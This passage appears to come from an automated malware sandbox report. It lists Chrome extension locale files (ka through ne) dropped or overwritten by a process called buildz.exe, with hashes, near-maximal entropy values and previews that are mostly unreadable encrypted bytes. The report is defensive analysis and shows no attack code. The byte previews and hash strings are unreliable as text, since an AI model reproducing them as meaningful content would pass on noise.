r..+...G..0.D.f.L....h2.qX....<..$Rt.y..k.qf..(%.Y5.~..;.9..8f........=}../l....x..wj][`.Dd...q.!....{..!E..!.F.......6.Wl.wZ..RH.Cn.....5..I..p.....b\..{...._3.+..}.$.!....nb..K.=...}..f..(.....).{..f..Q...5.\|.{....bL.......~6.b-....7^......9yo...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ka\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3598
Entropy (8bit):	7.950742834210547
Encrypted:	false
SSDEEP:	48:YvbHIUmH5MfGQjwHLOluwHZK1hiuj4bwhFx7q+RTB6XKqOpDYYbgz3TVqPqsTWML:WHIEbwnwKhjFtq+t7hkzDmWMQps413S
MD5:	989DD452B68E22F0BD30F92430311C23
SHA1:	96DE08349044EA7A8B9844419D28D50787A83C4B
SHA-256:	610B86A885B316DED9B373313E8E5393E594EF7595ACF1A5B0BA2A1A27D37A10
SHA-512:	F71A21184AC6FF38024929E7526A7822E9545F9CC7BED701D5934C7EAD352B8B4A2DAEDFD1E5256CE55CEDC79844D4C13B70D931A83EE3473CD3622C22B46D9E
Malicious:	false
Reputation:	unknown
Preview:	{"cre....0V.Y..{sy..]o..3......]1V5........z.5gJ.....sjNr.>ki4..u}..}.@.).....Q.t-{^}O..Mp...G...+9.=E.}..'m...1.t.f.xH.$28.Ws.R.m..Y..k$a...e(m..T......Q..]%....8......Nvb..U.........4.B..........3.A.5!.e!...p2........./.....D.eVv..U.5...,..n..K....z1.f.S[...p...Os......Y....Q...5.8uu.z.....5.W.N.V....C./.y.h..i..?..l..xj~d.@._.Y......F."}..{.y6.D......[...T....#X.R......FF.\..}..r.1..A..Tt....o.Pp..6\|.9..p#..b...]t.^E...Z~g.....N..-.'.=..PL.....s.....\5X....`wR8n.uw..<.T...gD.".s.....B.....X.:.D....%...&.R..5/w6..S-S..>...\.l....k$X..#vL..k...}.Yx.'$bq.`V.B.....1^..@..v~.=.8..(..#....DV.R8.8.....s..1x<..+...ER.t.]2].1&i.1,.d..^K$......<........2k%.2.o.4`..F......P.T...q6....C.....+'.o..1z.T4..u...5{.../v..o.......i.I.<X.u.T.!.`..\|`L............s......."@...Vi...../...'.......pH..x.J.J..........+5b...._...XP.C.......2&......M.@U..)0.G.....Ot.._..V28#.$.b(r[.g~.SC.....).-...<...c....;...mP4........C.....R.$.b.J.N..f.+/...r.i.T..M\...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\kk\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3569
Entropy (8bit):	7.953621889625038
Encrypted:	false
SSDEEP:	96:jxpx+u5OjLjzgwbAx0flbRZjWyvlFV5JOwrMx:VpZYgRxIbRZjzvlTWwC
MD5:	8181D553A893E38883B83275BD121542
SHA1:	30C484FB3EDFB49D1B30E144862E3A5BDD7A3D1C
SHA-256:	CC1C279B84878090BFE325846C875A51C0350E0323FBB9F913505DD783A619F3
SHA-512:	2836B4D2D862F6905CFE3CEF10560C31F031BE7F05DD2F26B6B4E336E872AC9DF167283192306FC3FFCC5C6D6014E0D8EA0136A188DABEFDCE07A4F1429D26CE
Malicious:	false
Reputation:	unknown
Preview:	{"cre-......Y95F..h:j^.B...{..%..[wIl{....?L$E..N.......!...G.i.....(...&h8....!...xM.E\|..G~........)7.8.7N4....s.x.u9E9...+.....ZZ.DDs.H>.Z..XN>F...ANM....0..x........Tv?......n.x...N.? ..T8.JG._..&....?.G%...+...\|)..m.Y....&k.....uKdW.{.}....m.W.#y........L.?-C...i"T...p.r`...2..:bOY}.[`.^.(.....u..Ww2=..~..X..S.#..=...8B..F..\|.....R....{.:.......6N.V%.t.....q...){Y..Tb.y..9vn..K.o.[.".....f...f.$...z..I..........\|......Nu-..3.$J!.PRq...j.q.(..HNM..A.f.....2N8....%!Z.....DOZ....T..Lg...d.6\..G/..K.............r.oa...J.v..4........eO..7F.`L..........7..s=....j...4ng.U0Kj..;..~K.....o.s+..2z.+V.j....utb..J.5qC.5.~3`"...#.7.6?.c...0....(:].{.`..<..f48a!......g.A!.... ;../.z.:.wK.8............h..<..5........r..3..?....2.I........r..4*c;O....RQ.m..E.a.$.P-.[...>.oJk...7.....{...b87S...4.......8..M..^.N%........./.$.-..F....~SU...r8i.DE..=.9..-e?.=.Ucv...Q.c.AZ...>8.....J...Z..m.....1=h...{....9(..1.....I.K/4bo......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\km\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3456
Entropy (8bit):	7.951563654513885
Encrypted:	false
SSDEEP:	96:c41lTTY3DO7ZGh5Ocuz3rJI0EYODeeubXUX7bWjvSf:cZy7ZnzbJI0bODeeubkX7bkE
MD5:	62846B8268B8D8E90E1244D8B6078C70
SHA1:	D571B21C36E46C9F22296BA303A6F2918771028C
SHA-256:	A7FBF680C7F7B7B636C7938E2C4C1458F532F3A4FAF4F5B5A9C513D02AA99EB3
SHA-512:	DAF8368672EC1E8B32C0EA3E21645130B4B1C6D0CB581D90FB37C3DA78C37DFB16386CDA7C339A009C38C268BDC16B8D9464A23D4148855B8D4F1FC938CFE1C8
Malicious:	false
Reputation:	unknown
Preview:	{"cre.).....s..7.%.dT)j..2.....k.z...........As5q......%.6.G.kJ2..p...D.S..!..lS......M...zu.)3.[<..z4.].&.\|PA.!.uE.2.......Iv.e.\|....:....nQ'\8@Go.....8..E,L.Mu.S".2..O.q.a..^5.........I.M.o~.. o;/....a).9.w....K"`q.<[..R_...B.....H..LQ..I.!?g5q.....9.D.........SAv...6..e...8O1...X....jf.$.........J.V.....\n..l....J.{p]..'.`.i.aXzUi.X.^.x#\.;g..%.-x...n....`z.8X..&J..B1..&..o4..s.;......9...+........\..WE..5.j..i.Gy9.c.t...@s..#\.6...H...wD.L.tW...c...{d...).-.<._t`...........L...t>..cl...ix..........\.5..W....Ts.. \|....0....mU....`4.).....oA..S..yO..,W...h\...#;O.g...u....}.) ...'.......Y.........~R&......>...s.m.4EMR..<J...m.Ti...#.qQM..>X.V....\..\....-!p._..4...Y...<..3T."......o.....S.wTP..V.....m.E.hP.u..D.\.OjB.yJ....CY..'Y...~.....y.'.:#37.}...;.@.\|..!.4.t(.3m?~...K...e..../0(.1..k.(..9.5<ca...:[.....a%N-ddU..$G.0........).x.....Ni...3<.........\|O.e1.m.....b...R.....Z.........]!...O._x....'....J.;A.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\kn\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2214
Entropy (8bit):	7.919841719826982
Encrypted:	false
SSDEEP:	48:BBe03bxVJOqNrLSNV/jgPqxfYMOc9maG0kfAsvfxwD:C03FzOmfepjgPMT9m1Vvfxs
MD5:	BAD0CE906FC3A74A47FB5FEFA444946F
SHA1:	0C68836866F808353CC09629C62DF0491A333EAC
SHA-256:	9951A925049A37E64BC62755F01F5298CF33309050606B21E1582AE369C2EC93
SHA-512:	46B6EEAF891B3862705EB2C724347C7DE56349340CE501EBCC5D5CC449250DCE42DE592949BD81E63A8EE9D58C2AE468A09C1BDA2A0460812876B0E1B7F8482A
Malicious:	false
Reputation:	unknown
Preview:	{.. D%....H.W\|.....?....yf....Sk..JE.,....].\..o.u..]kU..U.O._If.#..m_..v...F.B[x....Ueb...R.t...F..`.._?...'........M....k$Y.f......B..;.u...3{...m`u...?.....U..T.#.<7....'..4..m..';4i...y..&..a.x&..{.Z...D.y.,5.PD...7.!&^.........nX.t...N.....4...@........<......G/...I.......^.q..+/.......G<.G.6.z.t.p..<........)R..\|x;...LG'V2..'.....g.k..:.r.8.0..Z...o6m.R.t.........-...nzoG.RI2.$Y..l....a.R.W`!...,.u."g.......&%._...=..kN.....H..b...}..U\G).C..w\..6][.u?....k.dp...l..}....>3..s........,.8(u.F~..7g.S..u;(.?$.Q.......W.DiDzsmW)..x..f.F.$<?..a.W.bI..].u..7.X...5.4.......{.N=.^..~.. ....$A.9._.>.._.cl..CV:F.ron.d...".Z....g.....L.8-.;.3.w.O.~....l..g..0..2..m..u..v..'.....^f.h..w...}.N.w..u%/....:.[NV.O.E..A..F.+T...<z.jX*D..Ds....3...Jbh.E..d..g...@....nD......5H-..^.2W.">....T...........2.a.....1...c:......m....B.t.V...a^u...j.(.A?^+...l+^.(:.9..0....5+......I..."...&....py...6L........ ....cS.F..aX.....C....H......Z...\|.5Ct..q

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ko\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	7.8580894093536084
Encrypted:	false
SSDEEP:	24:2B8JHHsiWKDNFbUxfJobRS4NK8EtFsm6APZxxiBOYxSuntAUlR7xDbD:qKZ6job04REwm6y3iMYIkAUlLXD
MD5:	BF4148C3C4CB611128962FC8E1FEC4F9
SHA1:	9F5B938A7D5AC02E80AB874186B1E1B1E3802D2A
SHA-256:	5DD5A7B14346948640D5D069BF8335DC5BDD33777846F9359D10895558CAF405
SHA-512:	24247E79E3CD462F3851EF959C991CB99CA683407FEB695C39B62E8ACD855E2FADA8B3515D7C944CA6B628735DE4922D668DD5ADB9A220DDEF3483C16720F067
Malicious:	false
Reputation:	unknown
Preview:	{.. sX.9$....B.F.....6.7.s...M.{...2Q..h..I_.[...0<0.f..I.....x\.N.:..EL.>..?."Z...:.....b..(`...rS.".S..'.gC.8.O5...C.......d..D.M_t9K5..c.......~d&+......U.....5..i>...{.a...I..+8.SS....".H.Z.....kZ.a....82'..k]R...........]!......siq./w%lqR.e%.k....\|.}T..4.\..B.\|7......R.....TY..<[...F.n..cl`.1.+...l%...@\qy....h.x.@.HVx...F%.h..`....R<..M....V.o..B.V...>B...f..W....)mj.l.I;g..r.....25.XB1.l.....,.......]....~.X.. .)T..h..._../...../.ih.\o...x_.[U!..b......<.p..glF..6...)&D...........tQ.41.......(..sw[.....l.D.8##/z.z.....;.>..y..%........ .lm..(..T.n.a..g.......6.ND.i'j..\|J.!.5.yejQ.>..<...9A.-).N.<.U...m'...m......yM.X[..&........,VET.h:..3."i...D...5?6........:..(2....I.......`....9S.._.L.....&:^..H.....{-@.....[.G./q....V....<b..Z..?@L}....IJ.....F......y..e....#........9}....kH.];.+(eay.d-.gqI.!Q..F:^.Ya...7...\|..L.<.:.. ..LA..KCR98..u.J.B.>.'........H....ng....h..]...=k..=.v8.a.=.F/.C#.............]e.Q..#..G..^../.Y.=.7S..2.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lo\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2869
Entropy (8bit):	7.943076372667083
Encrypted:	false
SSDEEP:	48:Yml98js7fPkyCFxixhz9sctIe1VCz6+L+EQTyPvL2BhK2IjxoCnD:J5kyyAxsctvCzDLdgy72BhrIt3
MD5:	607A7072D65899D1B658EFF1B6A7927E
SHA1:	7C09A7F57C451304F86702CCEBD1BF0A4B2B4871
SHA-256:	63C9FACE4EA891F26B764DDC8337E13D7616B1B657423323894C47714B312238
SHA-512:	8E519E9DA07628BCF9D530D35D600AFB140D1E17B21572668E7E70B6C9422C07B34BB5E09733236A013DF19EDCDA974820FFD4AF87D2C53D695102C298B6E527
Malicious:	false
Reputation:	unknown
Preview:	{"cre2gm....J.S.:.M.c...$.=.....n.u.38....j#....;...?...Lly..1..{.1......,..E.C.....TS.......Z..IA.u.oFb.N...........9+<.-.Mq............G...yC.........U..8..}P.]1[po...A.7"\|......~.7...](.]...."..d.w..........tY......%...;...#.. )%N...'?.....4U].^.$x......6..O....5..D.{..;.......S.^t.1..1.z1.hc.;^.L.r_8.B...@...$........A!..(..+e..7.].6.\..D... ..)...[T.A..t...!X.m.U5.u....././....t..T......z;._./.a....^....5...1...v..Mf...C.@\|....f;p.....2~K ;.mJ.}R.Bi.\.U......O...k.S.wU...~V...S............}.p...nN.Kr^S...GD.}....3.h..\|..~...\....e.o.....~.....u#..X..'t.I.u.<.....d...mfs...i$...8.......p..@7._.JKZ.G..$.H....D[.@E.D....I.,7<........N..../.+.......\|.....O......k%>b.T......Z.3..1._q...t.n...ap...W.......VU/......O=H.......c........(.C..G...=.....O@.w.e.]......e.X.e..>...Y>......3. ..~..d........Fvy.7)...S.6.9.......$..Y\|..n.~..($g...c...3....c[Z..o.x...f.S...zc/....u.w)...#.."%.....=...8.....Z..3.....&v.0]j...E'.....gc...>..\

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lt\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1362
Entropy (8bit):	7.83470937765749
Encrypted:	false
SSDEEP:	24:xWcOC/vCya5wieSB1FsFcK42q2/H6rbSeFGgHeBhNwLfwoIaIHi/pWbM0gD+jEhW:McOC/qya5aSBxwqTmoUgfwoIjixWrncu
MD5:	A91C48AA370B7D9E292C692673F8D73B
SHA1:	98C17CFE1612A7AF3B9C5B2F2EC7171D4BBC0305
SHA-256:	2DDF1603CC348587FBD233A84115918275318A97E516AC77CAE8148D060494E5
SHA-512:	9C68EC7CADD9FC005321F343B20371E6FA43608E9138FFDA1D9A516D77E19B8BC38C2130057DC644F831D5D2BA5EFABC33F60B56154B24E343FC82BC2C5DAFB3
Malicious:	false
Reputation:	unknown
Preview:	{.. ....Y0.J........C.<.4......~..&O.....C.....{...8Z.7.Y.#.'...._....Y...<.v!...J..h.h..'q.C%..t...@.C%..J.b..8.e`..Q.&..+.B.......p.~D'.\".J..J%.4Y.....b-...LK.Cm.y...s.]-.V<^.....%.;b...y.C..G.fm)r..kM..`...m.....;...6o>. ........6u2...{)....s"......g........7.oR..[40%....48.I.e].x....t..{........T.P.C......Np....J.2G.m.Q?.9....>..=...0.V.J......:....P\......;s....C#3.2I...A..]E$......^i.8....G.......`e.T......l...(=kg..E.9U;iRn,=...xE.Q.A..r....r..@\|.c2...@qDt>...Ew9...3....X.$.@.g./....~.Fu.....b..7.X.-.uvw.XL3..F....g....y%R..(..Q..YYW...9..L-#..L.f.....LS.W.E.w... ..x...o.y.F.4.w...].@.@.1.*.......-.F.n..sH)'6S...2...+\.2......C.\.....}2~......M0..:^.....O..'.....B...Hh.TM...hs9.O....}.ph.0..1.....'~.g.j._d%Z.....^....4.}.......z...........Q:....5}3#......aH....<.C......$....a....>Br.IQ~...k.!.T/..b./O[..-....?.i!...6...VS....I...&.w........i"~.B#..V.T.w.}1..$FC....e.._..!..`yq..i`.w.E.....^(.`a.YB&r......D.4......T=....@

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lv\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	7.852201003118167
Encrypted:	false
SSDEEP:	24:w6oejm5FkImr6YfswNt2EnOJkurDFz8fjqHjHDHtw4ftkesqfe/UbD:w6oejmkbr6wJNtv+brDh8fjEHTt5fajU
MD5:	AB877C495D7F8850FB4CBB906F7108F5
SHA1:	8605F9060969952116AE632EE2DF68375957A6CA
SHA-256:	F935E08F5F3E96211C224989D40C2ECB6A6BD27FEC0FD9443DE21A584A7A75FF
SHA-512:	4B2424513692E67B80A7802D47092F109C506BBC238B894C4B2FADBCA2A1F3B91120A21DAC91DEA6DDF61B73D080D42A61236282BE8D0FA1A8BFA43628A492DA
Malicious:	false
Reputation:	unknown
Preview:	{.. ,..H...qtW..Lkw._.*U......S.mLsh..........gh..{...p6.....t.v1.(.a.=.w\|O........K.{..1....d.$W.K.>W.O..>...e.k'W.[sU..&k.........t<M../f^CE....{i....t4... ..z.....\-.m. .o,PN/...q..+y!...fh.i.....\>.p.i...,..........W...~....IQ...r.!.4h..u.].DG....i9.$j...:..^.g2....\|..T`M.....GF..._4m..7 ..@t....>....<..G..5...U.....D$..h..{...x...Sf.^...h3.tu................~.9~...)w6..D.....t.s..E.u....4]7i...<.=.x...4g.o...[.1.9E_.s..l...O.7!.W.;..@.z..A.M.}..q.yy.g..gOc.b%....e..$.i..".S.-f..^....C=......#... \Q..r.N...r.k5`Q.9.d..u..kn..!.5Rr....5.&.x..:w.vD.-T..'.\| +.mq..H.U.%nSy`...y...0.8p.Y.Y.I2\|..j...........d..7.<...&.._....r'.......Td.]-\<.b.....`>...(..O...e:+"Q.....>..>3.N...S...R..b..#.7\.....).`.. ...<........:.1+.......Hp..Q...Bdga...[...e"2`.)}..Om...Jg...x..Z2....7c{J...03..Q.C...&..2.cs..D^.iMv.?.. ..ILy9G....H.54........RN5.....B..-.-<.I.z......W.>"Gf.Kzl.X ..<.8..q.R*....&..!..y[....Q.bV^`.W.....%C...y4w.....{..M..-_7..eOv.S....H.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ml\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2445
Entropy (8bit):	7.91052595412037
Encrypted:	false
SSDEEP:	48:CCf700RByvLf9N/RTJBEfhMP2ae/+WZMAD0lgEotCO5cR38VVIpqUaRTB9piPU18:CCf73RBuLb4MP2Z+ebUgEote38TINGc9
MD5:	8B115786B7A5175B35E46B8F3E167C96
SHA1:	B8E8982F308C2208426218D1E5B74F683A19FFF5
SHA-256:	282602EE764D517649C16FA010046D64A451D73FC7C16125F9B390F1E0F8774B
SHA-512:	EAA0D83B4B7E99F30D0FC8531D0AF3D13C2AB58F2085E9D67A28DA154A6444881CE7E5D3546D9D7D92427909101771299E7170E4B7D45568EAB49A604C608555
Malicious:	false
Reputation:	unknown
Preview:	{.. .r..o....E..><..f0<}....Q..lB.J.C.....C..f..M.b..\|........5w..P..Y.d.Ke(....-..$,8.J..%;W^+....:......V..H.......d...eL...h.c.Y.+K....$.HG.b....r.........1.......r.s..(W%..Y%.^+...4..wy_..^...p..L2...%.W&.=..H+x:.F...U....m.........D.Z.....Q$.Q....}......h...B...r.".>...+.d...a.b....../..=.}...........a.'N.:S..;.....'.K.$..Q.p.z.di.t..5..}f.....hUjO^..R.....)...<A.H...&2<....+J.....)..4..Z.b.U......5U.c_?.<...K....`^m...[...Pl...C'G..Y....HB\c"!..K..z..I.qh..j.V....o....t.{.. .?t.<Z.j.>.\|.73oY.31d!.@{h.8..:.S..tj.r.....-X.-.([...ML..8....Mz.8?s(-.\...n.,<..5..YB8qmQ.:o.....J...X..P.i.>FJ..}.....V...f.XrOv\|4.<.<......Yb....Z..........\|.f..z.X..... ..QaQ...R..q#H.+.....1.b...?...{.02..-...B..Y.....!..)G.SCb.....J.v..,.T..S..u.`...R..V)...?".l.R%...V?...lC...U[.i..3f..pG.hk..'.>;.y-. f.....$.U}.+ZWa..W..]*0...oP..$...~....j.g.k@[df......q..D._...@..h..t...k...%)...a.0..GY....P.G.<\.\|..Z.7 2..b._4"}...DA8..t\...c.v].N`..;u.$UDz.5.0....p...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\mn\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3112
Entropy (8bit):	7.940272347699745
Encrypted:	false
SSDEEP:	96:Vg522KUmybMrtl39uqM9FyMMi4aLUJXO3ON3:u22CybcfTMPwiFAJOi3
MD5:	496952358E3FE79BE3EF3EB87F97E119
SHA1:	7DE646CE854776EC4373A49714AE40BE57A0AC77
SHA-256:	43BA8604ABDE6F80DBAC42F937D3A9E217FB6BC9B787F4C240BE6A1FE8CEFC4A
SHA-512:	A8AFE38EBCBE7E22961F97154FC45B91EF98045600FC359DB69490E11CA99713A3F254110A65B50490AB589F1D9B73E7FDBC6E91D56A9FBDFDD384D34673C1F9
Malicious:	false
Reputation:	unknown
Preview:	{"cre.#.wR...y.X:......HV.\|"LdR.....H.}`.h.}\|N...DHk..6!z.6[.s....q..x.1....m+D%\|....kd..5x.<E9)5X...E.........4(..}..U..Z....^^.....?.XQA.Di.K.....m.]....0.{..m..@l>Q_u._h.#.....b....U..S..............n.o0d7...i..P..g.tzyi~.M.\|`IX\....iI+.&M.p..l.....R....2..*...86.].=..gSf...I.z........+..a6;5dh..T...1.#..uLUr.jq.@q..6...6....q.g......X.".O.O.g....j\.`. ...B."d..;.........o.3'W........Z.Aj..E..m.J.W.m.NS'.;%Xi...}f...'p_...B....t.H.}..#\...Sf.2..i.4....^..........IL../....n..;.<'u.........}KZw.~. ...&>c..$g?.`..qf%.{..S...S0IA n.p..s.W.>.ji..H$.l..{.e&....)...g....g-.lEeJ.T......lF.}#/ ..m..S.V......du.......t..2/.B&.k..qCI.T4...S.lh7...F...^...Y..a.......Opx3@.U....fW..b..K.]...iv.R.f^....M.c[` ..$.6).R..[....~..z..g..%....m...S(...[....k..N.l..L...h.~...C&.9.v..^/4..GIK((&.^~.n.3.w....>...Q...u.2....@"t:K.~..$...D.t.<o.m...[..f.._S.b...D..X....e....mHs...o-..d..m.a....xi..~S...o....r.".....(..N$.-d8.L,n}....7x.^'._<J.ZgrR.$m.....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\mr\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2053
Entropy (8bit):	7.911635958470287
Encrypted:	false
SSDEEP:	48:tCDtR1Iztai1UzXHV3jKSvyDzAPt1Y9LFdMmUvkNaavD:QDtR2zMi+zXdKDzC7WAvGaa
MD5:	22CCE1F0FE43147BF512A667C7A58F51
SHA1:	83CC16810215C9B4EC6855AF3E173449A96FFDA7
SHA-256:	B9905E4C65668FBA9510B8A6F78B2B2712E90FEBEE48243668B683C31A9B8019
SHA-512:	F7DD7047CBA43436DA6B49CFDAE538E5B6E354ABE26188152C885073D7A81E5568FAD14265DF4B0260E9DC1EACE6A4FB24BE36B5C5E49E5E2DFDF32BD5448812
Malicious:	false
Reputation:	unknown
Preview:	{.. YY...fwG.sr...E..,/...J=...1c.wGH.hWS..v......P...zO...!.I.%`Jjb.u[..y..~........+.y$P..z.. J.N.VR.v.$....\|.E56..f..,"....OM......H.1..i......6.Z....i..}q........$...Ow.07=wq.g..\|xI,.(K..7.H..J...^.s.P......@.z....n.u.......G./..4.;.FH.s..u...cav....V1.+.D....bq`K.\|.@..t%.....]"`..M3.(-s.]...._\|g..>a]0.}.a..A.\oA\...@f_.t...}.-.TU.b.ra....j.r....P..\|....v.i.i..B.......vtA.".a..X..3...%.;.........C..T...+o...X..8.i.#.c[.....hc.3.o.._..2R....hJ..=....1.x..`/O.q..+.YZ./u}...p....e..4-.mz<..2E.Esp..G@...z.0`.y..Q..5G.....N#...,].j...b.....p....r6a.n..~.eu.X(#.z:.10...f.z<+.JB....[.p.C.}.6..nG.........sm..s`.T.x..U.P.U.] .=U".Or%..Mj..o.'Hu..V"..........(-........~%/.%....b...v../.o...y..1..^PF....rd^f.K^v$..j.X.];.g.@<....dn..a...S.7./.,....../....\|.r(vI.W...REF.Z26..8....J.j..JI....qR^5..*.=..g......}.]ks;.H!.I.AS-...h=.....o......)..A5...s...P..N.I........~O/..y.g.w.ThF..'..hj.....?.....^...~.Y$.;-.P...C.ng?l...r.-.....+..C.A...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ms\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1279
Entropy (8bit):	7.81953586040668
Encrypted:	false
SSDEEP:	24:lYRISOSrVxq/mfpfnY0EEJ8Lmc9M97GG6rWk0G3M9QwKAbD:CX/TJS9cqG6h0HQwHD
MD5:	80DE7C3F2D526C0002980D7E14D9C476
SHA1:	0C5D4073A2709DB63FAA2C579D51A4EF424BEB56
SHA-256:	2C6F1B4F91CB2CF648F1603151C207C8A447A79BD9A36E9151F5AD4F0AA3D1F4
SHA-512:	0A19919B8C04658F7761AFB1AECF90B1D7A8128AB5F095807F3F4BC6B08464BD71584F069EB223D122E03386B54B1F7CBDB321AF73091A87E9E79C4F1A7125E4
Malicious:	false
Reputation:	unknown
Preview:	{.. ..)2..g.P./.E.cO."N..<..:\|......+...^.A.nJ.Z.}^....."..K......2..(..H.x2...k......!.....8."P..$.$.S?.19.{ K.[.;...@<....#..#J.5f....3.K......x.5.~.[...%.;..C.........N.`:..cf..PK..}...)'..z........7e1./.G.L.......)...c..bI.F2i.....G.r.....7i..CiDC)6GX....r......<.\..D.Y......Cx."8...9>..@oT....n.r.`..=;.......(..V.2.2...,x.....a.,CT~..)Q.Xo.z.Vy&.h........U.4K}g.\..^..o......Z.w..x.0C%....!#...2.0".....a.d .d.....E...^..."....e.Y..../...#.>.ME-?.>..{..a..ae.=..;..8.Y9u....U.v.YA.0....ZW"..) .s.... q..X...Uy...p..d.}h..o[];G......P..Ty.....l....dm8n.^......w...T1.q.Y. E....k..^._.B+\eC...c6I......=q~......y...\|'y..$..Mcm.J.w..\|H.h.l.....Az..4....T....y0......#L................."...@.....\p.<.....:5........2..D..]4.n...xX........0L.M..qW/...\...[.ibp8.Gr.;...."...L..K.E4..q>...u.....f;L.c.-..Cif...\.[.kQ.B....E.b......z.`r.TRr..B...J../....k...6lnE"..V'.......9....]*s..N.Aj....YF_.P.g..7.M"6rM1?Z^f..D..~.o...u..lo.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\my\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4164
Entropy (8bit):	7.952328226382337
Encrypted:	false
SSDEEP:	96:9t4FRqwERhBjUEAfPZZQqoJHoQ0R3lq3ThQeeX5UPim/UR22+:D46zA5ZnhRoT+Zqy2L
MD5:	CADB97547B6AE223B8DF6348F37EA6CF
SHA1:	76973B12A625196E118D55FE3BD372E03BCCFAEE
SHA-256:	8D08559FC663B80F17C2ED1D3E549B0452426F3A3E2E60223BF41FA6F5699ABC
SHA-512:	99157463DD80258837B9B111BA1A49351E1E64520D7D1B1905E1FA32C10B30272C3B165DB0BB303A00C903B384B114C0048B9F11B34A23ECBB67EFE814B4BC3C
Malicious:	false
Reputation:	unknown
Preview:	{"cre.....0.}8..<`..`".Y....7B.e?i5.....).!....E..tC..PO.]...R....O...[.>ICn.u.7p[....~.Q......T.....>.A....q..KN.w@......rD.y...........(1..R..."...Q\|.s.;-7....1Wc.v....QQ......~u...a..%U........&.Z0.....Y.a<mG.wm...Q.g.7....#...'..De1..........TWrw...c>...Y.M..FG.$./l.M..A@.z...j..Y>......[$..$...%...\|7......M......G1>.,.!.F..>...... .....d.U..7.BM..iY.Ic.C..6.=..h.[...../%....:.og.9@..!a...y..%g...ggq.KN...l...v.....Y&...a^....w...m...x.....7r...o.:'ZC..Z.b..?f..q.I.......d.\.i.E......s.....\..[......=.7..L.n.....o.~..0#..<..90i2&.V-.}]..;.....m......t.Y...0T.\...2.$2E....g}I....+..k...MxM,.-. .Y..&...EO[.2cf..T..kv......Bg........%.s.JX.W....T.N.<...c.C..nrc.C....&.W.iy@.....NY.%Q,%.@.k.a.D..).N...!.y.zO..u..^.I._:.2c...9..C..:k ...N.@.Sv.H.t^1:.g..C.}.#..F/\|l.9\|......9o.s.(Lil....6./V.x..99..T...e..2.@z....i...vA~...-..9z.J...1HF..Y.....K;..%.:.!.coS.r=..^...t)tf...H.....p...L\|.@....#Q....$j..,o.........`.r_-..SIO.;....!?....,..@J

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ne\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3526
Entropy (8bit):	7.940713913573268
Encrypted:	false
SSDEEP:	96:ocvoM3sc4QpHBeK5y2gSrLmhrvzXiUnVYw:omT3NkIywKBvzXiUiw
MD5:	96A00EA0D6F6F8C1F9FD994CBA6C93B6
SHA1:	B6CB65DC0791735686315816110B78DCBCE0F902
SHA-256:	0B1D289810080ADC095A6DD9E82B97BC8DE83EB79C964A6E5AF42E8B70281BF5
SHA-512:	3BD332E133F4ADDDD6AF2211E28B33B8365EC05398B80F2D41F26314FE638D8283A74F3ACD7046F385157EB01CF726D6EC3E5D141123ED0100179C83897CF354
Malicious:	false
Reputation:	unknown
